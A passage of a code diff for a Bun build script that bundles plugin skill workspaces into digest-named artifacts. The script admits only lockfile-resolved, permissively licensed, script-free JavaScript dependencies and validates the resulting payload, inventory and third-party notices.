+ owner?.bareImports.has(barePackageName(specifier)) || + (specifier.startsWith("#") && + owner?.packageImports.some((pattern) => matchesPackageImport(pattern, specifier))) + if (!declaredImport) { + violations.push( + new BundleValidationError( + skillId, + "unadmitted-import", + `bare import "${specifier}" is not declared by ${relative(realRoot, importer)}`, + ), + ) + return { path: specifier, external: true } + } + const violation = resolvedPathViolation(specifier, realResolved) + if (violation) { + violations.push(violation) + return { path: specifier, external: true } + } + return undefined + }) + builder.onLoad( + { + filter: /\.(?:[cm]?[jt]sx?|css|jsonc?|json5|toml|ya?ml|txt|wasm|node|html)$/, + namespace: "file", + }, + (args) => { + const realResolved = realpathSync(args.path) + const violation = resolvedPathViolation(args.path, realResolved) + if (violation) { + violations.push(violation) + // Do not hand a rejected file back to Bun's loader. The accumulated + // typed violation is thrown immediately after the build. + return rejectedLoad + } + return undefined + }, + ) + }, + } +} + +/** + * Bundle one workspace skill into a single validated ESM artifact in private staging. + * + * @param repositoryRoot - Repository root that bounds every dependency resolution + * @param skillId - Catalog skill identity + * @param workspace - Repository-relative workspace package path + * @param stagingDirectory - Private staging directory outside the payload + * @returns Digest-named artifact bytes ready for materialization + * @throws {BundleValidationError} On any dependency, output, or bundle-text escape + * + * @example + * ```ts + * const artifact = await bundleWorkspaceSkill(root, "skill-a", "packages/skill-a", staging) + * ``` + */ +export async function bundleWorkspaceSkill( + repositoryRoot: string, + skillId: string, + workspace: string, + stagingDirectory: string, +): Promise { + const realRoot = realpathSync(repositoryRoot) + const workspaceRoot = join(realRoot, workspace) + let workspaceManifest: { main?: string } + try { + workspaceManifest = JSON.parse(readFileSync(join(workspaceRoot, "package.json"), "utf8")) as { + main?: string + } + } catch (error) { + throw new BundleValidationError( + skillId, + "missing-entry", + `workspace ${workspace} package.json is missing, unreadable, or invalid: ${error instanceof Error ? error.message : String(error)}`, + ) + } + const entryPoint = join(workspaceRoot, workspaceManifest.main ?? "") + if ( + typeof workspaceManifest.main !== "string" || + !workspaceManifest.main || + !existsSync(entryPoint) + ) { + throw new BundleValidationError( + skillId, + "missing-entry", + `workspace ${workspace} does not declare an existing "main" entry`, + ) + } + // The closed-resolution plugin below bounds every *imported* module to the + // repository, but Bun.build never routes the entrypoint through onResolve, so + // a "main" of "../../../x.js" or a symlinked entry would escape that boundary + // and be packaged as a valid skill. Resolve symlinks and require the real + // entry to stay inside the workspace before bundling. + const realEntryPoint = realpathSync(entryPoint) + const realWorkspaceRoot = realpathSync(workspaceRoot) + if (!isInsideDirectory(realEntryPoint, realWorkspaceRoot)) { + throw new BundleValidationError( + skillId, + "entry-escape", + `workspace ${workspace} "main" resolves outside the workspace: ${realEntryPoint}`, + ) + } + + const violations: BundleValidationError[] = [] + const moduleAdmission = workspaceModuleAdmission(realRoot, workspace, realWorkspaceRoot) + const closedResolution = createClosedResolutionPlugin( + realRoot, + skillId, + violations, + moduleAdmission.roots, + moduleAdmission.owners, + ) + + const outputDirectory = join(stagingDirectory, skillId) + mkdirSync(outputDirectory, { recursive: true }) + let result: Awaited> + try { + result = await Bun.build({ + entrypoints: [entryPoint], + outdir: outputDirectory, + naming: `${skillId}.js`, + target: "bun", + format: "esm", + splitting: false, + sourcemap: "none", + minify: false, + env: "disable", + plugins: [closedResolution], + }) + } catch (error) { + if (violations.length > 0) throw violations[0] + const messages = + error instanceof AggregateError ? error.errors.map((entry) => String(entry)) : [String(error)] + throw new BundleValidationError(skillId, "bundler-failure", messages.join("\n")) + } + if (violations.length > 0) throw violations[0] + if (!result.success) { + throw new BundleValidationError( + skillId, + "bundler-failure", + result.logs.map((log) => String(log)).join("\n"), + ) + } + + const outputs = readdirSync(outputDirectory, { recursive: true }) as string[] + const nativeOutputs = outputs.filter((output) => output.endsWith(".node")) + if (nativeOutputs.length > 0) { + throw new BundleValidationError( + skillId, + "native-addon", + `bundle emitted native addon artifacts: ${nativeOutputs.join(", ")}`, + ) + } + if (outputs.length !== 1 || outputs[0] !== `${skillId}.js`) { + throw new BundleValidationError( + skillId, + "unexpected-output", + `bundle must emit exactly one JavaScript artifact; received ${JSON.stringify(outputs.sort())}`, + ) + } + + const contents = new Uint8Array(readFileSync(join(outputDirectory, `${skillId}.js`))) + validateBundleText(skillId, new TextDecoder().decode(contents)) + const sha256 = sha256Hex(contents) + return { + skillId, + fileName: `${skillId}-${sha256.slice(0, 16)}.js`, + bytes: contents.byteLength, + sha256, + contents, + } +} + +interface FrozenLockWorkspace { + name?: string + version?: string + dependencies?: Record + peerDependencies?: Record + peerDependenciesMeta?: Record +} + +interface FrozenLockPackageMetadata { + dependencies?: Record +} + +interface FrozenLock { + workspaces: Record + packages: Record +} + +interface ParsedLockPackage { + key: string + name: string + reference: string + metadata: FrozenLockPackageMetadata +} + +function parseFrozenLock(root: string): FrozenLock { + const lockPath = join(root, "bun.lock") + if (!existsSync(lockPath)) { + throw new DependencyAdmissionError( + "store-missing", + "bun.lock is missing; run bun install to freeze the dependency closure", + ) + } + const lockText = readFileSync(lockPath, "utf8") + try { + const parsed = Bun.JSONC.parse(lockText) as Partial + return { + workspaces: parsed.workspaces ?? {}, + packages: parsed.packages ?? {}, + } + } catch (error) { + throw new DependencyAdmissionError( + "lock-invalid", + `bun.lock is not valid JSONC: ${error instanceof Error ? error.message : String(error)}`, + ) + } +} + +function parseLockPackage(key: string, value: unknown): ParsedLockPackage { + if (!Array.isArray(value)) { + throw new DependencyAdmissionError( + "lock-invalid", + `bun.lock package ${JSON.stringify(key)} is not an array entry`, + ) + } + const identity = String(value[0] ?? "") + const separator = identity.lastIndexOf("@") + if (separator <= 0 || separator === identity.length - 1) { + throw new DependencyAdmissionError( + "lock-invalid", + `bun.lock package ${JSON.stringify(key)} has malformed identity ${JSON.stringify(identity)}`, + ) + } + return { + key, + name: identity.slice(0, separator), + reference: identity.slice(separator + 1), + metadata: (value[2] ?? {}) as FrozenLockPackageMetadata, + } +} + +function parseNpmAlias(requested: string): { name: string; range: string } | undefined { + if (!requested.startsWith("npm:")) return undefined + const identity = requested.slice("npm:".length) + if (!identity || identity.endsWith("@")) { + throw new DependencyAdmissionError( + "lock-invalid", + `malformed npm alias ${JSON.stringify(requested)}`, + ) + } + const separator = identity.lastIndexOf("@") + if (separator <= 0) return { name: identity, range: "*" } + return { name: identity.slice(0, separator), range: identity.slice(separator + 1) } +} + +function resolveLockDependency( + lock: FrozenLock, + packages: Map, + name: string, + requested: string, + parent?: ParsedLockPackage, + boundEntry?: ParsedLockPackage, +): ParsedLockPackage { + const npmAlias = parseNpmAlias(requested) + const expectedName = npmAlias?.name ?? name + const expectedRange = npmAlias?.range ?? requested + const satisfies = (entry: ParsedLockPackage | undefined): entry is ParsedLockPackage => { + if (entry?.name !== expectedName) return false + if (requested.startsWith("workspace:")) return entry.reference.startsWith("workspace:") + if (!entry.reference.startsWith("workspace:")) { + return Bun.semver.satisfies(entry.reference, expectedRange) + } + const workspace = lock.workspaces[entry.reference.slice("workspace:".length)] + return ( + workspace?.name === entry.name && + typeof workspace.version === "string" && + Bun.semver.satisfies(workspace.version, expectedRange) + ) + } + if (boundEntry) { + if (satisfies(boundEntry)) return boundEntry + throw new DependencyAdmissionError( + "lock-invalid", + `bun.lock selection ${boundEntry.key} does not satisfy ${name}@${requested}`, + ) + } + if (parent) { + const nested = packages.get(`${parent.key}/${name}`) + if (satisfies(nested)) return nested + const hoisted = packages.get(name) + if (satisfies(hoisted)) return hoisted + throw new DependencyAdmissionError( + "lock-invalid", + `bun.lock cannot resolve ${name}@${requested} from ${parent.key}`, + ) + } + const direct = packages.get(name) + if (requested.startsWith("workspace:") && satisfies(direct)) return direct + if (direct?.name === expectedName && direct.reference === expectedRange) return direct + if (satisfies(direct)) return direct + if (npmAlias) { + throw new DependencyAdmissionError( + "lock-invalid", + `bun.lock cannot resolve npm alias ${name}@${requested} by its lock key`, + ) + } + const candidates = [...packages.values()].filter((entry) => entry.name === expectedName) + const exact = candidates.filter((entry) => entry.reference === expectedRange) + if (exact.length === 1) return exact[0] + const satisfying = candidates.filter(satisfies) + if (satisfying.length === 1) return satisfying[0] + throw new DependencyAdmissionError( + "lock-invalid", + `bun.lock cannot resolve ${name}@${requested} to one package entry`, + ) +} + +interface ResolvedWorkspaceDependencyGraph { + workspacePaths: Set + packages: Map +} + +function requiredWorkspaceDependencies( + lock: FrozenLock, + packages: Map, + workspace: FrozenLockWorkspace, +): Array<[string, string]> { + for (const [name, peerRange] of Object.entries(workspace.peerDependencies ?? {})) { + if (workspace.peerDependenciesMeta?.[name]?.optional === true) continue + const dependencyRange = workspace.dependencies?.[name] + if (dependencyRange === undefined) continue + const selected = resolveLockDependency(lock, packages, name, dependencyRange) + resolveLockDependency(lock, packages, name, peerRange, undefined, selected) + } + return [ + ...Object.entries(workspace.dependencies ?? {}), + ...Object.entries(workspace.peerDependencies ?? {}).filter( + ([name]) => workspace.peerDependenciesMeta?.[name]?.optional !== true, + ), + ] +} + +function resolveWorkspaceDependencyGraph( + lock: FrozenLock, + packages: Map, + workspacePath: string, +): ResolvedWorkspaceDependencyGraph { + const workspace = lock.workspaces[workspacePath] + if (!workspace) { + throw new DependencyAdmissionError( + "lock-invalid", + `catalog workspace ${JSON.stringify(workspacePath)} is absent from bun.lock`, + ) + } + const workspacePaths = new Set([workspacePath]) + const reachablePackages = new Map() + const pending: Array<{ + name: string + requested: string + parent?: ParsedLockPackage + }> = requiredWorkspaceDependencies(lock, packages, workspace).map(([name, requested]) => ({ + name, + requested, + })) + + while (pending.length > 0) { + const dependency = pending.pop() as { + name: string + requested: string + parent?: ParsedLockPackage + } + const locked = resolveLockDependency( + lock, + packages, + dependency.name, + dependency.requested, + dependency.parent, + ) + if (locked.reference.startsWith("workspace:")) { + const dependencyWorkspacePath = locked.reference.slice("workspace:".length) + if (workspacePaths.has(dependencyWorkspacePath)) continue + workspacePaths.add(dependencyWorkspacePath) + const dependencyWorkspace = lock.workspaces[dependencyWorkspacePath] + if (!dependencyWorkspace) { + throw new DependencyAdmissionError( + "lock-invalid", + `package ${locked.name} refers to missing workspace ${JSON.stringify(dependencyWorkspacePath)}`, + ) + } + pending.push( + ...requiredWorkspaceDependencies(lock, packages, dependencyWorkspace).map( + ([name, requested]) => ({ + name, + requested, + }), + ), + ) + continue + } + if (reachablePackages.has(locked.key)) continue + reachablePackages.set(locked.key, locked) + pending.push( + ...Object.entries(locked.metadata.dependencies ?? {}).map(([name, requested]) => ({ + name, + requested, + parent: locked, + })), + ) + } + return { workspacePaths, packages: reachablePackages } +} + +function moduleOwner(root: string): AdmittedModuleOwner { + const manifest = JSON.parse(readFileSync(join(root, "package.json"), "utf8")) as { + name?: string + dependencies?: Record + peerDependencies?: Record + imports?: Record + } + return { + root, + bareImports: new Set([ + ...Object.keys(manifest.dependencies ?? {}), + ...Object.keys(manifest.peerDependencies ?? {}), + ...(manifest.name ? [manifest.name] : []), + ]), + packageImports: Object.keys(manifest.imports ?? {}).filter((specifier) => + specifier.startsWith("#"), + ), + } +} + +function workspaceModuleAdmission( + realRoot: string, + workspacePath: string, + realWorkspaceRoot: string, +): { roots: string[]; owners: AdmittedModuleOwner[] } { + if (!existsSync(join(realRoot, "bun.lock"))) { + return { + roots: [realWorkspaceRoot], + owners: [moduleOwner(realWorkspaceRoot)], + } + } + const lock = parseFrozenLock(realRoot) + if (!lock.workspaces[workspacePath]) { + return { + roots: [realWorkspaceRoot], + owners: [moduleOwner(realWorkspaceRoot)], + } + } + const packages = new Map( + Object.entries(lock.packages).map(([key, value]) => [key, parseLockPackage(key, value)]), + ) + const graph = resolveWorkspaceDependencyGraph(lock, packages, workspacePath) + const roots = [ + ...new Set([ + ...[...graph.workspacePaths].map((path) => realpathSync(join(realRoot, path))), + ...[...graph.packages.values()].map((entry) => + realpathSync(dependencyStoreDirectory(realRoot, entry.name, entry.reference)), + ), + ]), + ] + return { + roots, + owners: roots.map(moduleOwner), + } +} + +function dependencyStoreDirectory(root: string, name: string, version: string): string { + for (const storeName of [`${name}@${version}`, `${name.replace("/", "+")}@${version}`]) { + const candidate = join(root, "node_modules", ".bun", storeName, "node_modules", name) + if (existsSync(join(candidate, "package.json"))) return candidate + } + throw new DependencyAdmissionError( + "store-missing", + `${name}@${version} is not present in the isolated store; run bun install --frozen-lockfile`, + ) +} + +function findNativeArtifact(directory: string, prefix = ""): string | undefined { + for (const entry of readdirSync(directory, { withFileTypes: true })) { + const relativePath = prefix ? `${prefix}/${entry.name}` : entry.name + if (entry.isDirectory()) { + const nested = findNativeArtifact(join(directory, entry.name), relativePath) + if (nested) return nested + continue + } + if (entry.name.endsWith(".node") || entry.name === "binding.gyp") return relativePath + } + return undefined +} + +function readLicenseText(directory: string): string | undefined { + for (const entry of readdirSync(directory).sort(compareCodeUnits)) { + if (/^(license|licence|copying)(\.(md|txt))?$/i.test(entry)) { + return readFileSync(join(directory, entry), "utf8") + } + } + return undefined +} + +/** + * Admit only pure-JavaScript, lifecycle-free, permissively licensed dependencies from the frozen lock. + * + * @param root - Repository root containing bun.lock and the isolated store + * @returns Admitted third-party packages sorted by name + * @throws {DependencyAdmissionError} When any dependency violates the closed admission contract + * + * @example + * ```ts + * const dependencies = admitDependencyClosure(process.cwd()) + * ``` + */ +export function admitDependencyClosure(root: string): AdmittedDependency[] { + const rootManifest = JSON.parse(readFileSync(join(root, "package.json"), "utf8")) + if (rootManifest.trustedDependencies !== undefined) { + throw new DependencyAdmissionError( + "trusted-dependencies", + "package.json must not declare trustedDependencies", + ) + } + + const lock = parseFrozenLock(root) + for (const workspace of Object.keys(lock.workspaces).sort(compareCodeUnits)) { + if (!workspace) continue + const manifestPath = join(root, workspace, "package.json") + if (!existsSync(manifestPath)) { + throw new DependencyAdmissionError( + "lock-invalid", + `bun.lock workspace ${JSON.stringify(workspace)} has no package.json`, + ) + } + const manifest = JSON.parse(readFileSync(manifestPath, "utf8")) + if (manifest.trustedDependencies !== undefined) { + throw new DependencyAdmissionError( + "trusted-dependencies", + `${workspace}/package.json must not declare trustedDependencies`, + ) + } + } + + const packages = new Map( + Object.entries(lock.packages).map(([key, value]) => [key, parseLockPackage(key, value)]), + ) + const catalog = loadSkillCatalog(root) + const graphs: ResolvedWorkspaceDependencyGraph[] = [] + for (const skill of Object.values(catalog.skills)) { + if (skill.workspace === undefined) continue + graphs.push(resolveWorkspaceDependencyGraph(lock, packages, skill.workspace)) + } + + const reachablePackages = new Map() + const graphsByPackage = new Map() + for (const graph of graphs) { + for (const [key, locked] of graph.packages) { + reachablePackages.set(key, locked) + const packageGraphs = graphsByPackage.get(key) ?? [] + packageGraphs.push(graph) + graphsByPackage.set(key, packageGraphs) + } + } + + const admitted: AdmittedDependency[] = [] + const admittedIdentities = new Set() + for (const locked of [...reachablePackages.values()].sort( + (left, right) => + compareCodeUnits(left.name, right.name) || compareCodeUnits(left.reference, right.reference), + )) { + const { name, reference: version } = locked + const packageDirectory = dependencyStoreDirectory(root, name, version) + const manifest = JSON.parse(readFileSync(join(packageDirectory, "package.json"), "utf8")) + for (const script of lifecycleScripts) { + if (manifest.scripts?.[script] !== undefined) { + throw new DependencyAdmissionError( + "lifecycle-script", + `${name}@${version} declares lifecycle script "${script}"`, + ) + } + } + if (manifest.gypfile === true) { + throw new DependencyAdmissionError( + "native-addon", + `${name}@${version} declares a native gyp build`, + ) + } + const nativeArtifact = findNativeArtifact(packageDirectory) + if (nativeArtifact) { + throw new DependencyAdmissionError( + "native-addon", + `${name}@${version} ships the native artifact ${nativeArtifact}`, + ) + } + if (Object.keys(manifest.optionalDependencies ?? {}).length > 0) { + throw new DependencyAdmissionError( + "optional-dependencies", + `${name}@${version} declares optionalDependencies, which may carry undeclared native artifacts`, + ) + } + for (const [peerName, peerRange] of Object.entries( + (manifest.peerDependencies ?? {}) as Record, + )) { + if (manifest.peerDependenciesMeta?.[peerName]?.optional === true) continue + let selectedPeer: ParsedLockPackage + try { + selectedPeer = resolveLockDependency(lock, packages, peerName, peerRange, locked) + } catch { + throw new DependencyAdmissionError( + "unresolved-peer", + `${name}@${version} has unresolved peer "${peerName}" for ${peerRange}`, + ) + } + for (const graph of graphsByPackage.get(locked.key) ?? []) { + const peerReachable = selectedPeer.reference.startsWith("workspace:") + ? graph.workspacePaths.has(selectedPeer.reference.slice("workspace:".length)) + : graph.packages.has(selectedPeer.key) + if (!peerReachable) { + throw new DependencyAdmissionError( + "unresolved-peer", + `${name}@${version} has unresolved peer "${peerName}" for ${peerRange}`, + ) + } + } + } + if (typeof manifest.license !== "string" || !permissiveLicenses.has(manifest.license)) { + throw new DependencyAdmissionError( + "license", + `${name}@${version} license ${JSON.stringify(manifest.license ?? null)} is not in the permissive allowlist`, + ) + } + const identity = `${name}@${version}` + if (!admittedIdentities.has(identity)) { + admittedIdentities.add(identity) + admitted.push({ + name, + version, + license: manifest.license, + licenseText: readLicenseText(packageDirectory), + }) + } + } + return admitted +} + +/** + * Render deterministic third-party notices from the admitted dependency closure. + * + * @param dependencies - Admitted packages sorted by name + * @returns Markdown notices carrying package name, version, license, and text + * + * @example + * ```ts + * renderThirdPartyNotices(admitDependencyClosure(root)) + * ``` + */ +export function renderThirdPartyNotices(dependencies: AdmittedDependency[]): string { + const sections = dependencies.map((dependency) => { + const heading = `## ${dependency.name}@${dependency.version} (${dependency.license})` + const text = dependency.licenseText?.trimEnd() + return text + ? `${heading}\n\n${text}\n` + : `${heading}\n\nLicense text not distributed by the package.\n` + }) + return `# Third-Party Notices\n\nGenerated from bun.lock. Edit workspace dependencies, run bun install, then bun run build.\n\n${sections.join("\n")}` +} + +/** + * Render the deterministic shell projection of the bundle inventory. + * + * The custody engine (plugin/runtime/runtime-exec) sources this projection to + * resolve a skill's digest-named bundle without parsing JSON in shell. It is + * owned by the same build that writes bundle-inventory.json. + * + * @param bundles - Materialized bundle records keyed by skill id + * @returns POSIX shell projection defining runtime_inventory_select_bundle + * + * @example + * ```ts + * renderBundleInventoryProjection(closure.bundles) + * ``` + */ +export function renderBundleInventoryProjection(bundles: Record): string { + const cases = Object.keys(bundles) + .sort(compareCodeUnits) + .map((skillId) => { + const record = bundles[skillId] + return ` ${shellQuote(skillId)}) + RUNTIME_BUNDLE_PATH=${shellQuote(record.path)} + RUNTIME_BUNDLE_BYTES=${shellQuote(String(record.bytes))} + RUNTIME_BUNDLE_SHA256=${shellQuote(record.sha256)} + ;;` + }) + return `#!/bin/sh +# Generated from bundle-inventory.json by scripts/build.ts. Edit workspace sources, then run bun run build. +runtime_inventory_select_bundle() { + case "$1" in +${cases.join("\n")} + *) return 1 ;; + esac +} +` +} + +function serializeInventory(result: BundleClosureResult): string { + return `${JSON.stringify( + { schemaVersion: 1, bundles: result.bundles, notices: result.notices }, + null, + 2, + )}\n` +} + +/** + * Build, validate, and materialize every catalog workspace bundle plus inventory and notices. + * + * Bundles are produced in private external staging; the checked-in payload changes + * only after the complete candidate closure validates. + * + * @param root - Repository root owning catalog, workspaces, and payload + * @returns Materialized bundle records and notice identity + * @throws {BundleValidationError | DependencyAdmissionError} When any candidate fails validation + * + * @example + * ```ts + * const closure = await buildWorkspaceBundles(process.cwd()) + * ``` + */ +export async function buildWorkspaceBundles(root: string): Promise { + const catalog = loadSkillCatalog(root) + for (const [skillId, skill] of Object.entries(catalog.skills)) { + if (skill.workspace === undefined && !isOwnedHelloWorldAdapter(skillId, skill)) { + throw new BundleValidationError( + skillId, + "unsupported-entry", + "non-workspace runtime entries are unsupported; add a workspace bundle or use the owned hello-world adapter", + ) + } + } + const workspaceSkills = Object.entries(catalog.skills) + .filter(([, skill]) => skill.workspace !== undefined) + .sort(([left], [right]) => compareCodeUnits(left, right)) + + const dependencies = admitDependencyClosure(root) + const noticesText = renderThirdPartyNotices(dependencies) + + const stagingDirectory = mkdtempSync(join(tmpdir(), "skill-bundle-staging-")) + const artifacts: BundleArtifact[] = [] + try { + const helloWorld = catalog.skills["hello-world"] + if (helloWorld && isOwnedHelloWorldAdapter("hello-world", helloWorld)) { + artifacts.push(await buildHelloWorldRuntime(root, stagingDirectory)) + } + for (const [skillId, skill] of workspaceSkills) { + artifacts.push( + await bundleWorkspaceSkill(root, skillId, skill.workspace as string, stagingDirectory), + ) + } + } finally { + rmSync(stagingDirectory, { recursive: true, force: true }) + } + + const artifactsBySkill = new Map(artifacts.map((artifact) => [artifact.skillId, artifact])) + const bundles: Record = {} + for (const [skillId, skill] of Object.entries(catalog.skills).sort(([left], [right]) => + compareCodeUnits(left, right), + )) { + const artifact = artifactsBySkill.get(skillId) + if (!artifact) { + throw new BundleValidationError( + skillId, + "unsupported-entry", + "catalog runtime entry has no generated artifact", + ) + } + bundles[skillId] = { + path: skill.workspace === undefined ? skill.entry : `runtime/${artifact.fileName}`, + bytes: artifact.bytes, + sha256: artifact.sha256, + } + } + const result: BundleClosureResult = { + bundles, + notices: { + path: "THIRD-PARTY-NOTICES.md", + bytes: Buffer.byteLength(noticesText), + sha256: sha256Hex(noticesText), + }, + } + + // The complete candidate closure now exists in memory and private staging. + // Only this materialization phase touches checked-in package input (R7). + const runtimeDirectory = join(root, "plugin", "runtime") + mkdirSync(runtimeDirectory, { recursive: true }) + const activeFileNames = new Set(artifacts.map((artifact) => artifact.fileName)) + for (const entry of readdirSync(runtimeDirectory)) { + if (managedBundlePattern.test(entry) && !activeFileNames.has(entry)) { + rmSync(join(runtimeDirectory, entry)) + } + } + for (const artifact of artifacts) { + writeFileSync(join(runtimeDirectory, artifact.fileName), artifact.contents) + } + writeFileSync(join(root, "plugin", "THIRD-PARTY-NOTICES.md"), noticesText) + writeFileSync(join(runtimeDirectory, "bundle-inventory.json"), serializeInventory(result)) + writeFileSync( + join(runtimeDirectory, "bundle-inventory.sh"), + renderBundleInventoryProjection(bundles), + ) + return result +} + +/** + * Fail before packaging when catalog, inventory, bundles, or notices disagree. + * + * @param root - Repository root containing catalog and checked-in payload + * @throws {Error} On missing, stale, or orphaned bundle mappings or stale notices + * + * @example + * ```ts + * validateBundleClosure(process.cwd()) + * ``` + */ +export function validateBundleClosure(root: string): void { + const catalog = loadSkillCatalog(root) + const runtimeDirectory = join(root, "plugin", "runtime") + const inventoryPath = join(runtimeDirectory, "bundle-inventory.json") + if (!existsSync(inventoryPath)) { + throw new Error("bundle closure: bundle-inventory.json is missing; run bun run build") + } + const inventory = JSON.parse(readFileSync(inventoryPath, "utf8")) as { + schemaVersion: number + bundles: Record + notices: BundleRecord + } + if (inventory.schemaVersion !== 1) { + throw new Error("bundle closure: bundle-inventory.json schemaVersion must be 1") + } + + for (const [skillId, skill] of Object.entries(catalog.skills)) { + if (skill.workspace === undefined && !isOwnedHelloWorldAdapter(skillId, skill)) { + throw new Error( + `bundle closure: unsupported non-workspace runtime entry for ${skillId}; add a workspace bundle`, + ) + } + if (!existsSync(join(root, "plugin", "skills", skillId, "SKILL.md"))) { + throw new Error(`bundle closure: missing SKILL.md for ${skillId}`) + } + if (inventory.bundles[skillId] === undefined) { + throw new Error(`bundle closure: missing bundle mapping for ${skillId}; run bun run build`) + } + } + for (const [skillId, record] of Object.entries(inventory.bundles)) { + const skill = catalog.skills[skillId] + if (!skill) { + throw new Error(`bundle closure: orphaned mapping for ${skillId}; run bun run build`) + } + // The recorded path must be exactly the digest-derived name inside + // plugin/runtime; anything else could pass digest checks while packaging + // ships a payload without the executable bundle. + if (!/^[a-f0-9]{64}$/.test(record.sha256)) { + throw new Error(`bundle closure: invalid bundle digest for ${skillId}; run bun run build`) + } + const expectedPath = + skill.workspace === undefined + ? skill.entry + : `runtime/${skillId}-${record.sha256.slice(0, 16)}.js` + if (record.path !== expectedPath) { + throw new Error( + `bundle closure: invalid bundle path ${record.path} for ${skillId}; run bun run build`, + ) + } + const bundlePath = join(root, "plugin", record.path) + if (!existsSync(bundlePath)) { + throw new Error(`bundle closure: missing bundle file ${record.path} for ${skillId}`) + } + const contents = readFileSync(bundlePath) + if ( + contents.byteLength !== record.bytes || + sha256Hex(new Uint8Array(contents)) !== record.sha256 + ) { + throw new Error(`bundle closure: stale bundle for ${skillId}; run bun run build`) + } + } + const activePaths = new Set( + Object.values(inventory.bundles).map((record) => record.path.replace(/^runtime\//, "")), + ) + for (const entry of readdirSync(runtimeDirectory)) { + if (managedBundlePattern.test(entry) && !activePaths.has(entry)) { + throw new Error(`bundle closure: orphaned bundle ${entry}; run bun run build`) + } + } + const projectionPath = join(runtimeDirectory, "bundle-inventory.sh") + if (!existsSync(projectionPath)) { + throw new Error("bundle closure: bundle-inventory.sh is missing; run bun run build") + } + if (readFileSync(projectionPath, "utf8") !== renderBundleInventoryProjection(inventory.bundles)) { + throw new Error("bundle closure: stale bundle inventory projection; run bun run build") + } + if (inventory.notices.path !== "THIRD-PARTY-NOTICES.md") { + throw new Error( + `bundle closure: invalid notices path ${inventory.notices.path}; run bun run build`, + ) + } + const noticesPath = join(root, "plugin", inventory.notices.path) + if (!existsSync(noticesPath)) { + throw new Error(`bundle closure: missing third-party notices ${inventory.notices.path}`) + } + const noticesContents = readFileSync(noticesPath) + if ( + noticesContents.byteLength !== inventory.notices.bytes || + sha256Hex(new Uint8Array(noticesContents)) !== inventory.notices.sha256 + ) { + throw new Error("bundle closure: stale third-party notices; run bun run build") + } +} + +const forbiddenRuntimePaths = [ + /^hooks\//, + /^runtime\/qjs-/, + /^runtime\/quickjs-assets\.json$/, + /^QUICKJS-LICENSE$/, +] +const requiredCapabilities = [ + "Execute verified Bun code", + "Download Bun after approval", + "Write private runtime cache", + "Use network during repair", +] + +/** + * Admit the complete installable payload only when it is one current Bun closure. + * + * @param root - Repository root containing canonical sources and plugin payload + * @throws {Error} On generated drift, missing members, legacy runtime surfaces, or incomplete disclosure + */ +export function validateBunOnlyPayload(root: string): void { + validateBundleClosure(root) + const catalog = loadSkillCatalog(root) + const inventory = pluginPayloadInventory(root) + const inventorySet = new Set(inventory) + const required = [ + ".claude-plugin/plugin.json", + ".codex-plugin/plugin.json", + "THIRD-PARTY-NOTICES.md", + "runtime/bundle-inventory.json", + "runtime/bundle-inventory.sh", + "runtime/runtime-exec", + "runtime/runtime-lock.sh", + "runtime/skill-catalog.sh", + ] + const bundleInventory = JSON.parse( + readFileSync(join(root, "plugin", "runtime", "bundle-inventory.json"), "utf8"), + ) as { bundles: Record } + for (const [skillId, skill] of Object.entries(catalog.skills)) { + required.push(`bin/${skillId}`, `skills/${skillId}/SKILL.md`) + required.push( + skill.workspace === undefined + ? skill.entry + : (bundleInventory.bundles[skillId]?.path ?? `runtime/${skillId}-MISSING.js`), + ) + } + for (const path of required) { + if (!inventorySet.has(path)) throw new Error(`Bun payload closure: missing ${path}`) + } + + const drifted = checkRuntimeCustodyFiles(root) + if (drifted.length > 0) { + throw new Error(`Bun payload closure: stale generated file ${drifted[0]}`) + } + const launchers = inventory + .filter((path) => path.startsWith("bin/")) + .map((path) => path.slice("bin/".length)) + const expectedLaunchers = Object.keys(catalog.skills).sort(compareCodeUnits) + if (launchers.join("\0") !== expectedLaunchers.join("\0")) { + throw new Error("Bun payload closure: launcher inventory does not match the skill catalog") + } + for (const path of ["runtime/runtime-exec", ...expectedLaunchers.map((id) => `bin/${id}`)]) { + if ((statSync(join(root, "plugin", path)).mode & 0o111) === 0) { + throw new Error(`Bun payload closure: ${path} is not executable`) + } + } + for (const path of inventory) { + if (forbiddenRuntimePaths.some((pattern) => pattern.test(path))) { + throw new Error(`Bun payload closure: legacy runtime surface ${path}`) + } + if (/\.(?:js|json|md|sh)$/.test(path) || path.startsWith("bin/")) { + const text = readFileSync(join(root, "plugin", path), "utf8") + if (/qjs:std|QuickJS/i.test(text)) { + throw new Error(`Bun payload closure: legacy runtime claim in ${path}`) + } + } + } + for (const manifestPath of [".claude-plugin/plugin.json", ".codex-plugin/plugin.json"]) { + const manifest = JSON.parse(readFileSync(join(root, "plugin", manifestPath), "utf8")) as { + hooks?: unknown + description?: unknown + interface?: { capabilities?: unknown } + } + if (manifest.hooks !== undefined) { + throw new Error(`Bun payload closure: runtime hooks remain active in ${manifestPath}`) + } + if (typeof manifest.description !== "string" || !manifest.description.includes("Bun")) { + throw new Error(`Bun payload closure: ${manifestPath} does not disclose Bun execution`) + } + if (manifestPath === ".codex-plugin/plugin.json") { + const capabilities = manifest.interface?.capabilities + if ( + !Array.isArray(capabilities) || + requiredCapabilities.some((item) => !capabilities.includes(item)) + ) { + throw new Error("Bun payload closure: Codex capability disclosure is incomplete") + } + } + } +} + +export async function buildHelloWorldRuntime( + root: string, + stagingDirectory: string, +): Promise { + const skillId = "hello-world" + const sourceRoot = join(root, "runtime", "src") + const outputDirectory = join(stagingDirectory, skillId) + mkdirSync(outputDirectory, { recursive: true }) + const violations: BundleValidationError[] = [] + let result: Awaited> + try { + result = await Bun.build({ + entrypoints: [join(sourceRoot, "bun-proof-adapter.ts")], + outdir: outputDirectory, + naming: "hello-world.js", + target: "bun", + format: "esm", + splitting: false, + sourcemap: "none", + minify: true, + env: "disable", + plugins: [ + createClosedResolutionPlugin( + realpathSync(root), + skillId, + violations, + [realpathSync(join(root, "runtime", "src"))], + [], + ), + ], + banner: "// Generated from runtime/src/. Edit source, then run bun run build.", + }) + } catch (error) { + if (violations.length > 0) throw violations[0] + throw error + } + if (violations.length > 0) throw violations[0] + if (!result.success) { + throw new BundleValidationError( + skillId, + "bundler-failure", + result.logs.map((log) => String(log)).join("\n"), + ) + } + const outputs = readdirSync(outputDirectory, { recursive: true }) as string[] + if (outputs.length !== 1 || outputs[0] !== "hello-world.js") { + throw new BundleValidationError( + skillId, + "unexpected-output", + `bundle must emit exactly one JavaScript artifact; received ${JSON.stringify(outputs.sort())}`, + ) + } + const contents = new Uint8Array(readFileSync(join(outputDirectory, "hello-world.js"))) + validateBundleText(skillId, new 